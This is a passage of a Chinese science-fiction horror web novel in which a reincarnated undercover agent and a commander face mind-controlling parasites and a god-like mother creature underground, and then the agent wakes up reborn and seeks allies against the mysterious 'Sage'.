终于,脚下不再空悬,脚尖触碰到了略微湿软的土壤。 甬道内爬满的藤蔓,蓝色荧光忽明忽暗,在回想起它是动物后,宋拾皮肤上泛起一层疙瘩来。 刚站稳身体,眼前陡然亮起蓝光,她抬眸窥见谅雀脸上游走的蓝色符文。 下一秒,一个蓝色的光罩包裹住她们,温暖温柔,将她们与外界隔开。 谅雀冷淡的声音在黑暗中响起:“保护罩的辐射范围是五米,没有我的指令,不准独自行动。” “是。” 这趟路碰上异种如同呼吸一样简单,概率比多科市明天下雨还高。 宋拾在短短一个小时内,看到了十几种未见过的变异种,它们有些不可名状,恐怖狰狞,有些则毛绒绒,看起来像大号猫猫。 最为印象深刻的是一头人身狼头的异种。猩红的眼珠在黑暗的甬道中像两个悬空的红灯笼,距离近些时,方看清它的形状。 瘦长的身躯,皮紧紧绷在骨头上,肋骨清晰可见,手脚并用在地面爬行,狼头仔细地在空气中嗅闻。 迎面过时,所有人都下意识屏住呼吸,贴着潮湿的土墙小心翼翼挪动。 等那怪物走远,宋拾才发觉自己浑身被冷汗浸湿,寒毛倒竖。 幸亏有谅雀,她们现在只需要保持安静,凭借保护罩,那些异种无法感知到她们的存在。 想到这里,宋拾忍不住看向走在前面的女人,心中缓慢升起一丝疑惑。 【读取】在谅雀身上失效了。 无论是保护罩还是别的术法,她都无法读取到。 谅雀和别人有什么不一样的吗? ——当然是不同的,宋拾心底已经给出了答案,她还没见过哪个精神师使用精神术法像喝水吃饭那般轻松。 大概也正是因为如此,联邦才会费尽心机地搞克隆体吧。 渐渐,漆黑的甬道豁然开朗,泛着荧光的藤蔓交错遍布,比别处都要明亮,无需开启夜视功能,也能看见的程度。 又是粗大的根茎,从它上分出大大小小的芽来,紧贴土壤。 而根茎表面的薄膜鼓起,勾勒出一个又一个人脸的轮廓,随着呼吸,那些薄膜轻微地起伏,诡异且阴森。 甚至是熟悉的面孔。 所有人的心都悬在了嗓子眼。 想到昨天的队员就是在这里地方被生吞活剥,眼下每个人都忍不住屏住了呼吸,生怕自己某一个动作激起了异种群的暴动。 针落可闻的静谧之中,宋拾脑海里嗡嗡响起高频率的窸窸窣窣声响,一丝烦躁悄然升起。 仿佛有几百个人在里脑袋里不停地说话,叽叽喳喳,宣泄着无从发泄的情绪。 一瞬间,那些她刻意隐蔽的想法尽数涌上来,几乎淹没吞噬她。 那些声音无比柔声细语: “宋拾,你明明不想下来的呀……为了一个破任务,真的值得吗?” 她蹙眉,竭力压过心头的负面情绪。 这条路像走不到尽头,兜兜转转,她们竟然又转到了那棵硕大的根茎下。 脑海里的声音又响了起来:“你看,多危险呀,一不小心就可能会丧命……宋拾,你已经陷入沉没成本的骗局了,为了那些任务,你整日活在刀刃上,可如今又无法果断割舍,只能让自己越陷越深。” “任务又如何,智者又如何,还是赶快找人取掉炸弹,偷偷找个没有人认识你的地方安度一生吧。” 真烦人。 宋拾烦躁地晃了下头,狠狠咬住下唇,唇瓣的刺痛,以及唇齿间溢出的铁锈味,让她清醒了不少。 这些念头不是没有过,宋拾厌倦了四处流亡流窜的日子,上辈子如此,这辈子依旧如此,她比任何人都无比渴望摆脱眼下的所有糟心事。 可是,这些不过是曾经一转而过的杂念,她深知自己在如此危险的情况下,大脑不至于会想的那么偏。 宋拾深深吸气,不动声色地打量每个人的神情,旋即发现她们脸上的表情凝重。 不是谵妄,是有东西在影响她们。 “不要相信你们脑海里的声音。”宋拾突然出声。 “……差点中招。”谅雀晦暗的眼眸明亮起来,她微微蹙起眉,肌肤上的符文速度愈来愈快。 顷刻间,仿佛有层膜在他们绷紧的神经之间破开,凉风灌入纷乱的思绪。 宋拾头脑从未有过的清醒。 然而,见她们恢复神智,新的一轮精神污染开启。 “饿……” “饿……” 似人非人,如同呓语的声音共振交叠,高频率从四面八方侵入她们大脑。 糟糕。 “快走。”宋拾咬住舌尖,竭力忽略那些声音。 终究是慢了一步,她余光窥见一个人踉跄着朝着根茎的方向走。 谅雀显然也看见了,她快步上前扯住那人的肩膀,男人僵硬地转过身来,是郭贾同。 “怎么是你?”谅雀下意识皱眉。 因为昨天的事,郭贾同的精神状态不算稳定,这次任务也是将他留在了地上,谅雀没料到他竟会偷摸溜下来。 男人明明在看她,但视线毫无焦距,置若未闻转身,固执地往根茎的方向去。 “亲爱的……亲爱的……你找到了这么好的地方,为什么不叫我呢?”他低声喃喃,语调却颇为怪异,像是……嫉妒。 看着郭贾同的背影,宋拾心底攀升起一丝不详的预感,触碰头盔,问留在地上的人:“变异生物有没有异动?” 滋滋啦啦几声电流,传来人声:“无。” 得到答案,宋拾却没有丝毫放松,不安的下坠感让她头脑一阵眩晕,身体呈现出紧张的绷紧感。 “立刻,离开这里。”谅雀后退,下达命令。 有人心生不忍,问:“……不管他了吗?” “这是命令。”谅雀加重了语气,半晌,她叹了口气,“……他已经死了。” 死了? 这令宋拾忍不住看向她,谅雀是天生的领导者,她冷静强大,在危险关头能迅速分析利弊,但越是如此,越会让人觉得冷血,但她并不冷血,宋拾还记得她站在挪亚废墟中的决绝。 不再犹豫,她们快速撤离这里,临走前,宋拾感应到什么似,猛然回头,瞳孔缩成针尖。 郭贾同的头盔里爬出一只蚰蜒,他姿势怪异地拿军刀破开薄膜,旋即,沉睡的女人猛地睁开只有眼白的眼,伸出手臂将他扯了进去。 宋拾喉咙哽窒,毛骨悚然,那东西是怎么爬进的防护服。 阴湿寒冷的空气中不时回荡着“饿……饿……”的低喃。 不知是走了多久,仿佛在这里已经度过了三天,每个人都无比筋疲力尽,又饿又渴,但头盔显示,她们在地下仅仅待了三个小时。 果然还是被那些稀碎的声音影响到了。 大概是快靠近母体的位置,漆黑的甬道里,冷不丁冒出几只变异生物,队员们不得不提起十二分精神。 没多久,她们又碰上了人身狼头的怪物,不是一头,而是一群,乌泱泱从黑暗中涌来。 蜘蛛一般的四肢撑开,弓着腰,姿势诡异地爬行,肋骨被皮勒得尤为明显,干瘦如柴,但因为体型过于庞大,令人有种灭顶的压迫感。 怪物们重重呼出气流,不断嗅闻。 宋拾跨过一根成年人手臂粗的藤蔓,思绪飘散,郭贾同也划破了薄膜,但异种没有暴动,是因为谅雀的保护罩吗? 很快,她轻轻甩了下脑袋,摒弃一切杂念,冷静地盯着过路的异种。 良久,它们快要消失在视线中。 突发事变,有联邦军猛然抽搐起来,口吐白沫,疯狂低喃:“逃不掉,我们都逃不掉的!放弃吧!” 他的头盔中冒出一只蚰蜒,触足深深陷进脑壳,霎时血流不止。 他恍若浑然不觉,神色中沸腾着某种癫狂的情绪。 “死亡,不是生命的终点,而是灵魂逃脱躯壳的契机…… “死亡,不是生命的终点,而是灵魂逃脱躯壳的契机!” 宋拾头皮发麻,无他,这和家用终端里那个戴维教授所说的话一模一样。 果然,那群家伙猛然抬头,猩红的眼眸闪烁,兴奋地咧开嘴,熏臭的涎水顺着牙粘稠滴落。 它们鼻子耸动,似乎嗅到了什么,在判断方位,有的四肢攀爬到了土墙上。 望着不断逼近的怪物,宋拾手心冒汗。 电光火石间,却见有人拽着那位发癫的家伙跑出了保护罩,她的袖子不知被什么划破,鲜血浸透布料,隔着头盔,宋拾似乎闻到了血腥。 “嘿!丑八怪们,想吃我吗?”那人高声大喊,顷刻吸引了异种的注意,它们兴奋又焦躁地来回踱动。 她见它们撅起屁股,似乎是在蓄力,重重吞咽了口吐沫,目不斜视,大声说:“不要管我!你们快跑……” 怪物们呜咽一声,猛然扑过去,女人咬着牙,扛起抽搐的男人,发疯一般冲进无尽的黑暗,彻底被无尽的甬道所吞噬。 没过几秒,惊恐而绝望的尖叫声划破黑暗,随即伴随着咀嚼声的响起而消失。 宋拾闭目,心情像浸湿的毛巾一般沉重无比。 又死了两个人。 死亡的丧钟仿佛就在她头顶。 谅雀攥紧手心,“你们检查一下防护服有没有破损。” 一时间,大家意识到什么,立刻仔细查看防护服状态。宋拾心脏砰砰跳,确认没有破损后,肩膀微微松弛。 然而,有道发颤的嗓音响起:“指挥官,我的衣服破了……” 第68章 防护服落下。 宋拾惊愕地看着眼前的男人。 被吃空的腹部内蜷缩着一只餍足的蚰蜒。 蚰蜒脊背闪烁着和藤蔓如出一辙的蓝色荧光,伴随身体两侧气门的翕动,荧光明灭,它足步细长,呈暗蓝色,怪不得没人发现。 宋拾喉咙一紧,难以抑制地后撤退一步。 “疼吗?”头盔内传来专家的询问。 那人血色褪尽,面部肌肉痉挛缩动,摇头,他感觉不到任何疼痛。 “果然啊……”研究人员低声喃喃,随后恢复正常音量, “这是梦魇虫,和正常蚰蜒不同,它食肉,尤其喜欢人类大脑,通过幻觉来操控干扰猎物,涎水具有麻痹神经,屏蔽痛觉的作用。 “你们之前碰到的幻听, 大概率出自它们。” “……我还有救吗?”那人眼底被恐惧占据,嗓音紧绷发颤。 “五脏六腑都被吃空了,如果不是梦魇虫还在体内,你早就死了,希望你别介意我的表述……不过任由梦魇虫寄生的话……” 研究人员话还未说完,受伤的联邦军怪叫一声,眼球死命上翻,抽搐口吐白沫,唯一一丝清醒的意识让他痛苦而艰难求救: “救……救救我……” 眼眶里不断涌出泪水,绝望爬上他惨白的面庞,踉踉跄跄朝着她们走来,“我不想死……不想死……” 一时间,所有人举起手中的枪,目光落在谅雀身上,等待指令。 宋拾瞳孔里映着谅雀冷峻的脸,她微微抬手,正要下令之时。 然而,几声电流滋滋作响,科研人员急忙出声制止,嗓音中难以抑制地透着兴奋:“先别动!我们对梦魇虫寄生人体的情况了解实在太少,样本极度匮乏。而眼前这个,可是现成的样板!” 闻言,宋拾皱眉,心底涌起不适感。 多脚虫子绝不只一两只,它们隐匿在藤蔓里,不知不觉咬啮防护服,悄然寄生。而在专家眼里,一个具备危险性的样本竟比活人的安危更加重要。 视线昏暗,她似乎听见隐约的歌声,又听见足步从血肉里抽出“噗叽噗叽”,令人汗毛倒竖的声响。 目光落到那人身上时,不可避免的看到骇人的一幕:蚰蜒爬过他的胸脯、脸,触足勾住头皮,狠狠插入。 那人的眼球彻底翻了过去,嘴角诡异咧起。 温度骤然降低,阴冷湿黏,宋拾身体仿佛被某种力量定住,心脏紧缩,耳边一阵细碎、毛骨悚然的窸窸声。 大片大片的蚰蜒从各个阴暗缝隙中疯狂涌出。 它们密密麻麻地交织在一起,数不清的细长足快速爬动,相互碰撞摩擦,发出持续不断的窸窣声,像潮水般迅速蔓延。 被寄生的家伙冷不防猛然冲来。 宋拾急忙躲开,下一秒那道幻听似的歌声再度响起。她的瞳孔扩散,呆愣停留在原地,眼前浮现鸟儿的影子,洁白的鸟羽如雪花般飘落。 白鸽,数不清的白鸽。 下一秒,后背刺痛让她意识恢复,那家伙将她扑倒在地掐住脖颈。 箍在脖颈的手指用力到变形发白,宋拾头晕目眩,眼前阵阵发白,眼球胀痛得似要爆开。 她强撑着,摸索上腰间的枪,朝着他开了几发,非但没让他倒下翻到激起了他的愤怒,手指不断收拢、收拢。 耳边嗡鸣一片,胸腔内心脏跳动越来越快,血液上涌。她不知道那些人有没有离开,不知道蚰蜒有没有爬上她的身体,唯一的念头是: 她要活。 她要活着。 暴露身体就暴露吧,再这么下去,她可真要为回溯的卧底事业献身了。 湮灭还未使出使,桎梏在她喉咙间的力量骤然一松,温热的液体滴落在她额头,宋拾嗅到了血腥味。 她咬破舌尖,用力推翻那家伙,站起身眼前一片花白,她晃晃头,才听见头盔内传来滋滋啦啦的电流。 信号断了。 刚从窒息的绝境挣脱,宋拾身体摇晃,来不及查看当下情况,大口大口地喘息着,胸腔剧烈起伏,不顾呼吸道火燎的灼痛,竭尽全力地吸入更多氧气。 砰砰砰——几声子弹。 她绷紧浑身肌肉,朝声音来源望去—— 墙上、脚下,蚰蜒密不透风涌来,几乎每个人都被寄生,无意识地开枪扫射,然而子弹打在她身前,却被某种屏障截住。 宋拾听见沉重的呼吸声,眸子一动,看见蜷缩在墙角的女人。 “指挥官?” 谅雀双目紧闭,唇瓣毫无血色蓝色,符文游动速度越来越缓慢。一只蚰蜒正爬在她肩膀上啃噬血肉,血浸透布料。 听见声音,她勉强掀开眼皮,嗓音沙哑:“有歌声……影响……我没救下她们……抱歉。” 宋拾蹙眉,原来不止她一个人听见了。 那歌声会影响人的神智,不然她也不至于躲不开,被掐住脖子。 “咚咚咚!”一声大过一声的敲动声,让宋拾扭头看过去。 犹如丧尸的人们贴在屏障上,一边敲打,一边狰狞的盯着两人。 “快出来呀……快出来呀……”它们呢喃,近乎变态地笑。 屏障的颜色已经几乎淡到看不见。 宋拾指尖一动,寄生在谅雀肩上的蚰蜒仿佛被某种看不见的力量甩开,落地,腾地一下,生出火焰来,烧成了灰烬。 谅雀沉晦地盯着她,“你是谁?” 宋拾稍加思索,最终还是掀开面具,露出原本的面容。 “是你……”谅雀如重释放放松身体,眼皮疲倦地耸拉,“是你就好……” “你不怕我杀了你?” 宋拾俯身,手覆盖在她的胸口上,蓝光闪动,注视着狰狞可怖的伤口,她的眉越皱越紧。 伤口竟然没有丝毫愈合。 术法失效了? 一只手轻轻覆盖在她的手上,微弱的声音:“别费力气了,如果能愈合,我自己就先动手了……这里的异种和别处的不一样。” 她苍白的像一张纸。 宋拾怕她睡过去,轻轻地拍了拍她的脸,“你的屏障要消失了。” “那接下来……就靠你了。” 谅雀强撑微笑,抚上她蹙紧的眉心,轻叹了口气,骤然凑近,将额头贴在她的额头上。 宋拾眼前一黑,旋即看见了浩瀚的宇宙,繁星璀璨,那些星石散发着或冷冽、或温暖的光芒。 谅雀的声音仿佛从很远的地方传来。 “……精神力是一股力量,一团为人所用的力量,不要把它想象成一个个分别的术法。 “我能做到的,你也可以。” 下一秒,一股强大的吸力将宋拾抽出,她睁开眼眸,眼底闪烁着雀跃。 她明白了。 精神术法从来不是单独分开的咒语法术,而是精神力在现实世界的具体展现。 意识到这点后,宋拾意念微动。 原本即将消失的屏障瞬间被新一层保护罩所替代,蓝色符文在上面飞速游走,贴在上面的家伙像被碳火煎熟一般,滋啦啦冒白烟。 宋拾背起谅雀,朝着深处走,怕她昏过去,绞尽脑汁寻找聊天话题,思忖半晌问道:“你为什么不讨厌我——我是说,正常人都应该会讨厌自己的克隆体吧?” 谅雀伏在她肩膀上,略带潮湿的气流扑撒在颈窝处,有些痒。 “小时候就知道我有一堆克隆体了,温妮莎告诉我,她们都没有活下来,就算活下来又如何呢……我又不在乎她们是否会取代我……咳咳……” “宋拾,你不一样,你逃脱了联邦的掌控,而且活了下来,还活得很好,我很高兴……很高兴。”她顿了顿,似乎在斟酌词句,“就好像有人替我过了我想要的生活。” “很久以前,他们送了我一个宠物狗,它很乖,喜欢摇尾巴,我睡觉都需要它陪着我……然后有一天,他们让我杀死它。” “我还有一群好朋友……没想到我还能交到朋友,”她说着,语调上扬,“她们很好,和我一起玩游戏,送我礼物……” “但有一天她们都消失了,我不知道她们去了哪里,就连温妮莎也打探不到她们的消息……” 谅雀几乎将一切隐蔽稀碎的事情,无论大小全都说了出来,宋拾听得认真,注视着黑暗的甬道,荧光藤蔓与蚰蜒,一步步朝前走。 “我不怕死……可我现在不能死,哀涅托,回溯,联邦,还有异种,好多事情等着我去处理。感谢霍尔,是他让我获得了自由。” “宋拾,你呢?” “我?”宋拾精神时刻紧绷着,注意着四处的动静,生怕不知从哪个犄角旮旯蹦出一个异种,同时她又要时刻注意谅雀,不能让她昏睡过去。 这一路上,她又不时听见歌声,她甚至无法分辨真的有东西在唱歌,还是精神污染了。 半晌,她轻声道:“我有个秘密,从来没有告诉过任何人。” 谅雀一下子精神了不少,语气有些雀跃,“那我可以知道吗?” “等离开这里,我再告诉你。” 谅雀哼哼,大概是虚弱,她此刻像个孩子,嘟囔道:“好吧好吧,讨厌的家伙,我不会死的,你放心。” 彻底与外界失去联系,同时也失去了时间。甬道飘荡着浓稠的黑暗,仿佛永远也走不到尽头。 宋拾疲惫想思考,卧底身份暴露,她显然是失去的价值,与其等待西索斯处置她,不如赶紧想办法摆脱控制。 或许,她可以操控赵珂来帮自己做手术。 这么想着,心情微微好了些。 渐渐,视野愈发开阔起来,宋拾察觉背后人的呼吸越来越轻、微弱。 “喂,你还醒着吗?” “我醒着。不过,宋拾,你抬头……” 听到她的声音,宋拾顺手捏死一只安吉尔后抬眸,瞳孔骤然一缩。 “这……是什么?” 一个硕大的人脸花,深红的花瓣上生又数不尽的尖牙,漂浮在空气中的触须正是那些藤蔓,泛着荧光。 无数根茎下是一张张人脸。 它的面容是女性模样,完美符合所有人类对母亲的幻想,温柔,慈爱,美丽,可当这一张脸放到花上时,无比诡异惊悚。 宋拾喉咙发紧,“我们是不是走错路了?” 人脸花那张姣好的面庞泛着健康的红,双目紧闭,像沉睡一般,美丽而危险。 “……”谅雀沉吟片刻,“我从未见过这种异种,教科书上也没出现过……它会不会是母体——” 话尚未说完,她似乎警惕察觉到什么,闭上了唇。 安静的环境中,哒哒哒的脚步声格外明显,明显到几近刺耳。 “怎么漏掉了两个……” 一个女人的身影从黑暗中现身,乳白色的鳞片覆盖在她的腿上,长发披散。 “裴羽流?” 宋拾错愕看着她,一时间大脑飞速运作。 所以一路上那些迷惑人的歌声,是她。可她为什么要这么做? “怎么是你?”裴羽流微不可察地蹙了下眉,神情疏离而淡漠,“我现在带你们离开。” “为什么?” 裴羽流移开视线,重复:“这里很危险,我送你们回去。” 宋拾注视着她,固执地立在原地没有动,等待解释。 “你为什么会帮助异种?” 空气一瞬间降到冰点。 良久,裴羽流沉寂的眼眸看向那朵花,“如果我告诉你,这就是受人供奉膜拜的神呢。” 宋拾不可置信愣住。 “广场上的雕塑原型就是这个?” 人类信仰的神明,竟然是一只变异生物。 裴羽流竭力压下心中的惶恐,身心俱疲说道:“宋拾,自从我成为异种,体内流淌在血管里的血液,它们叫嚣着,保护母体,杀死侵入者。如果你们想伤害祂,我会毫不犹豫杀掉你们。” “我也不是没有尝试求助其他人,可发在论坛上的帖子和消息,很快就被删除了。” 宋拾猛然回忆起什么,问道:“论坛上的一根小羽毛是你,对不对?” 裴羽流闻言,唇瓣微扬,算是默认,她轻声问道,“你知道哀涅托幕后的人吗?” 宋拾心脏骤然跳动,心脏莫名生出来答案,却还是忍不住问道:“是谁?” “智者。” 宋拾想不通,为什么是他,如果她的记忆没出错,回溯幕后的家伙也是智者。 他究竟想要做什么? 裴羽流眼睫落下,阴影将眼底的情绪遮蔽得干净。 “我猜不透他的意图,他永远守在幕后,看着联邦、哀涅托、回溯互相争斗,又互相合作联系。” “他甚至加速了祂的苏醒。”裴羽流看着她怔愣的神情,扯了扯嘴角,“你以为他是信仰祂,所以想让祂提前苏醒吗?” 宋拾的目光紧锁在她身上,女人的嘴角缓缓渗出血丝,眼珠也流淌出血泪,脸上苍白。 她身上似乎有某种桎梏,阻止她说出真相。 宋拾想要冲过去,可身体像是被灌满水泥,脚底生了根,动弹不得。 她哑然打断她,“不……别说了,够了!够了!” 裴羽流却摇了摇头,“宋拾……宋拾,这对我来说是件好事,我不想被这个怪物掌控,所以,安静听我说完。” 宋拾窒哽着喉咙,看着人脸花的触须缓缓抬起,卷住她。 那些触足闪烁着诡异的荧光,随着蓝光闪烁,裴羽流像被抽干一般,一点点瘪下去。 “他能控制这个怪物,控制全部的异种,他才是真正的怪物……” “而他真正的目的……” 怦——那触足一用力,捏碎了裴羽流,点点碎如土的尘埃散落。 宋拾通过她的唇形,看到了答案。 他想毁灭世界。 智者想毁灭世界。 …… 不知何时,谅雀缓缓站起身来,她的脸色虽仍透着些许苍白,却较之前好了许多。 宋拾思绪混乱,深深的无力感侵入五脏六腑,茫然无措。 上天让她重活一世,所以她无比珍惜自己的生命,费尽心机在一次次危机中逃生。 可就在这时,有人突然告知她,她所历经的一切不过是幕后黑手精心预设的剧本,而这个世界离毁灭不远了。 自己就像一只困在迷宫里的老鼠,所有的努力都只是供人消遣的游戏。 她所努力一切都是无用功。 突然,一只冰冷的手握住她,宋拾思绪回笼,敏锐察觉到谅雀的颤抖,扶住她的肩膀:“怎么了?” 两人对视,她才看见,谅雀双目涣散,眼角淌下血泪。 “你怎么了?” “祂……醒了。” 谅雀身体绵软地瘫倒,宋拾一把搂住她。 她扭头望去—— 原本闭着的眼睛的人脸花,陡然睁开双眼,眼眶内只有漆黑的眼黑。 “神,不可直视。” 糟。 刹那间,一股森冷寒意沿着她的脊梁疯狂蹿升,心脏生理性地恐惧擂动。 她的瞳孔猛地一缩,大脑还来不及做出任何反应,太阳穴牵动心脏般的疼痛。 滚烫的血液顺着口鼻,眼眶,耳朵源源不断冒出,视线一片模糊。 而这仅仅不过一个对视,人类之躯完全无法承受。 她们之间的力量悬殊犹如天堑,在祂面前,人类渺小得如同蚂蚁。 如果祂彻底离开地下……宋拾不敢想,也再无力气去思考。 紧接着,眼前的世界迅速扭曲、收缩、变暗,意识瞬间被浓稠如墨的黑暗彻底吞噬。 恍惚间,她似乎看到了两道蓝光。 温暖而轻柔。 第69章 黑暗消散, 一束光芒洒落,犹如回到母亲的子宫,浸泡在温暖的羊水。 封存泛黄的记忆毛毛刺刺, 长条胶卷一幕幕展开。 小区楼下, 清晨的曙色洒落在小女孩干黄的发上。 小小的肩膀耸动,哽咽抽泣断断续续,蜷缩成一团,坐在滑滑梯的扶梯之上。 眼眶被泪水氤氲,透过泪,天空阴蒙而灰败。 别的孩童肆意的欢笑与她毫不相干。 脸颊上的泪痕被冷风一吹,火燎的灼痛,可她恍若毫无知觉。一边骚弄着手臂上被皮带鞭打出的伤痕,一边轻声朝着空气诉说: “奶奶,爸爸骂我是赔钱货,是废物,什么都学不会……”稚嫩的嗓音滞涩了下,染着浓浓的鼻音, “可是啊,囡囡好想奶奶。” “奶奶,我不想回家, 我把碗摔碎了, 爸爸一定会打死我的。” 宋拾一个人自言自语,絮絮叨叨说了许多,坚信那个唯一爱她,长眠于地下的人能听见。 她想念乡下的蟋蟀,后院的草莓藤,旧藤椅, 又发自心底恐惧那个漫长的严冬。 自那个冬天起,一切都变了。 奶奶永远地松开了和她拉钩的手,小院里的藤椅积灰腐败,栽种的草莓藤也被霜雪冻死。 爸爸不爱她,却还是不得已带她来到这个大城市。 这里大厦林立,街道上车水马龙、行人如织。带着浓浓乡音和脚底泥巴未干的她,无论如何也融不进来。 她不优秀,天生愚笨,试卷上红笔浸染的叉像是涂抹她人生的叉。 奶奶离开后,宋拾第一次理解什么是死亡,恐惧不安恍若深海,将她溺毙。 死亡能将人存在过的痕迹一一掩埋,哪怕是记忆,也会随着时间而褪黄变色。总有一天,她会彻底遗忘故乡的方言,乡间的泥巴路,自己来时的路。 可她又不止一次地想,是不是只有死亡能结束一切痛苦与烦恼。 她想成为天空上自由飞翔的鸟儿,无忧无虑,无拘无束,直到再也飞不动,掉落在树林的土壤里,腐烂、生根、发芽,轮回成新的生命。 “宋拾。” 一道清亮的嗓音划破了她的思绪,女孩愕然抬头,冰凉的手指悄然凑近,揩过她眼角的泪。 女人逆着初升的阳光,眼底的柔色如月光下的潮水,笑盈盈注视着她。 她的眉心也有一颗鲜艳的红痣。 “该醒了。” 她说。 …… 隔壁刺耳的电锯声滋滋啦啦,好不容易停下,楼上“咚咚咚”响个不停,孩童的嬉笑声,来回奔跑。 床上的人哼哼几声,挣扎着弓腰半跪起身,她拧眉,眼皮掀开,黑漆的瞳孔微微呆滞。 梦? 宋拾缓慢地眨眼,瞥了眼墙上的电子时间,才慢腾腾拖起沉重的身体走向盥洗室洗了把脸,迟钝的大脑终于开始工作。 总感觉哪里不对劲—— 就像经历过一样。 她敲了敲发胀的额头,呆滞着盯着镜中的自己。 不对劲。 太不对劲了。 迟钝的思绪逐渐活络,宋拾噔噔噔跑回卧室,一把捞起床上的终端,点开,密密麻麻的短信疯狂蹦出,刷满整个屏幕。 “于衡,军律系统通知您,请在6月4日中午十二点之前前往闻楚云上尉的办公室。” “于衡,军律系统通知您,6月4日下午两点在联邦大楼集合,护送大指挥官前往E2604区。” “于衡……” 宋拾似被冰激了下,皮肤上泛起疙瘩,她吞咽了口吐沫,翻看日历,赫然显示着: 4033年6月4日。 血液在疯狂上涌,一时间,她感到有些难以呼吸,目光移到时间,上午九点四十五分。 她重生了。 那些都不是梦。 裴羽流是真的,人脸花也是真的。 她居然没死。 额头一阵突突的刺痛,宋拾紧蹙眉头,咬住下唇,隐藏于记忆之中的蓝光在脑海中一闪而过。 蓝光……意识消散前,她似乎看见了蓝色的光。 所以是她这具身体又一次救了她? 宋拾阖上双眸,检查身体。 皮肤上泛起蓝色符文,蓝光游过全身,鼻尖沁出大大小小的细汗。 不知过了多久,她骤然睁开双目,眼球上晦涩的符文还为来得及消散。 血液急急上涌,在耳边炸开,宋拾不可置信深深吸气。 安装在心脏的炸弹不翼而飞,就连眼球…… 她抚摸上左眼,一片柔软。 这算是因祸得福吗?宋拾不知道。 …… 暴雨滂沱,乌云密布,整座城市水雾氤氲,冰冷潮湿。 红绿灯交替,斑马线上,黑伞交错,密集的雨水在伞面上敲起水花,绽放而后消失。 高速疾驰的悬浮车闯了一路的红灯,针尖似的雨水在车窗上落下一丝丝水痕,窗外雨势巨大,霓虹灯光在水雾中若隐若现。 不知是车窗玻璃有脏污的原因,钢铁建筑群中翻滚的浓雾,透着某种异样的深色。 车内屏幕里播放着天气预报,优雅的仿生人女主播双手交叠。 “未来几天,联邦市、多科市等多个城市将持续被大雾笼罩。大雾天气,水平能见度大幅降低,对交通出行和人们的日常生活带来诸多不便。” 上辈子有这条天气预报吗? 宋拾注视着窗外,呼出的热气将车窗玻璃氤氲开来,模糊了眼前的景象。 “小姑娘你有些眼熟啊。” 司机透过后视镜瞥了她一眼。 “是嘛,好多人都这么说呢,前阵子还有人把我认成他老表了。” 宋拾托着腮,心不在焉地说胡话,摁开终端点开铁皮猫的聊天框。 今天捡垃圾了吗:联邦市有多少机器人是你设计的? 她没等太久,铁皮猫回了消息,“联邦官方使用的机器人都是我设计的,不过普通人用的机器基本来自奥罗拉科技,怎么了吗?” 宋拾打字的手指微顿,思忖琢磨片刻,才慢吞吞回复。 今天捡垃圾了吗:你能把奥罗拉科技黑了吗? 铁皮猫:? ? ?不是,我的好姐姐,你也太看得起我了吧。虽然我除了是义肢协会主席,还是联邦医院的首席医师,作家、业余歌手……但臣妾真不是黑客啊。 铁皮猫:你想黑奥罗拉科技吗?实在不行……我努努力学一下。 宋拾没忍住笑出了声,积压在胸口的阴霾总算散去了些。 回了句“我们见一面吧”,她熄灭终端,闭上眼睛,耳边回响着老式钟表滴滴答答的声响。 时间不多了。 藏匿在幕后,操纵无数傀儡,上演这出戏的智者仍躲在暗处,她几乎对他一无所知,更无法确定,他是否知道她重生了。 仅靠她一人抗衡这个怪物,简直天方夜谭,所以,她需要盟友。 宋拾微不可察轻叹,手掌贴上冰凉的车窗,注视天空中一只落单低飞的鸟儿。 哪怕不可能,她也必须一试。 悬浮车缓缓降落,宋拾撑起伞,踩过大大小小的水坑,扫过虹膜后进入军律所。 人来人往,一切都和记忆中的场景吻合。乘上电梯,她有预感地身体一侧,避开了险些撞上来的机器人。 小机器人屏幕上显示微笑的表情,表示眼睛的弧线弯曲,软软糯糯的嗓音:“于衡,上午好!” “上午好。” 电梯门关闭,宋拾摁了下按钮。 如记忆那般,小机器人盯着她,两条机械手乖巧的交叠在腹部,自带音效眨动圆眼,问道:“于衡,你看起来很疲惫,是没休息好吗?” 话音刚落,它弯腰挪动到她跟前,掏出一瓶营养液:“给你。” 宋拾接下玻璃瓶,手指痉挛似地摩挲了下瓶身。 小机器人的“脸”上开始绽放烟花,稚嫩的嗓音软糯的像绵羊:“我是军律所的新员工,叫乐乐!累了饿了的话就来找我哦!” “谢谢。” 电梯门打开,宋拾轻声答谢离开。 电梯门彻底合上。 宋拾轻车熟路来到闻楚云办公室,叩响房门:“笃笃。” “请进。” 推开门,一阵潮湿的冷风吹来,拂起细软的纱帘,办公文件被唰唰唰风吹起翻页,绵密的雨声敲击在心脏上。 坐在皮椅上的人却不是闻楚云。 “指挥官大人。” 宋拾右手置于胸口,睫毛翕动,遮掩住眼底的错愕。 指针滴滴答答走动,冷冽的风裹着潮湿的气,带起皮肤上的疙瘩。 最终是谅雀开口:“你也重生了,对吧?” 迎着对方晦涩的眼眸,宋拾点头。 谅雀继续追问:“当时我没办法向你问清楚,那个智者究竟是怎么回事,他是谁?以及,你是哪方的卧底?” 大概是察觉自己的语气有些咄咄逼人,她忙不叠摇头解释,“这事关整个联邦,希望你不要介意。” “我理解……关于智者,要解释的就多了。”宋拾烦躁地拢了拢头发,抿了抿唇。 “但首先你要相信我,成为卧底,也是迫不得已的无奈之举,不然接下来的对话也就没有太大意义,不论我说什么,你都会保持怀疑态度。” “我相信你。” “好。” 雨越下越大,呼啸的风声盖过了两人的交谈,磅礴雨势下窗纱湿了大半,潮湿的寒气阵阵吹进室内。 终于,口干舌燥的宋拾讲完了事情的全貌,从她穿越到这个世界开始到死亡来临的那刻。 谅雀自出生起便束缚在联邦里,循规蹈矩地重复,做过最过激的事情还是在挪亚忤逆查普曼,乃至听完宋拾的经历,她心中升起意犹未尽的怅然来。 “不出意外,伊索纳德号的幕后就是智者,他是哀涅托的领导者,只能是他。如果这一切没错的话,我们就有见他一面和得到一个愿望的机会,可是……” 宋拾思索片刻,将自己的顾虑说了出来,“这种人完全不可信,贸然见面,有送死风险。” 所以她们必须要调查智者。 但直接从他这个人上入手,根本无从入手。 两人不约而同对视,默契异口同声:“E2604。” 母体不在别的地方而是E2604区,那里曾经一定发生过什么。 “联邦资料库里应该有一些有用的信息,那里几乎什么都有。”谅雀定了定神,咬住下唇,“但里面有太多机密,霍尔未必会愿意把权限借给我。” 宋拾眉梢微挑:“我们还有个帮手。” “谁?” 第70章 联邦资料库, 沉重的大门打开,封藏已久的厚重气息滚滚而来。 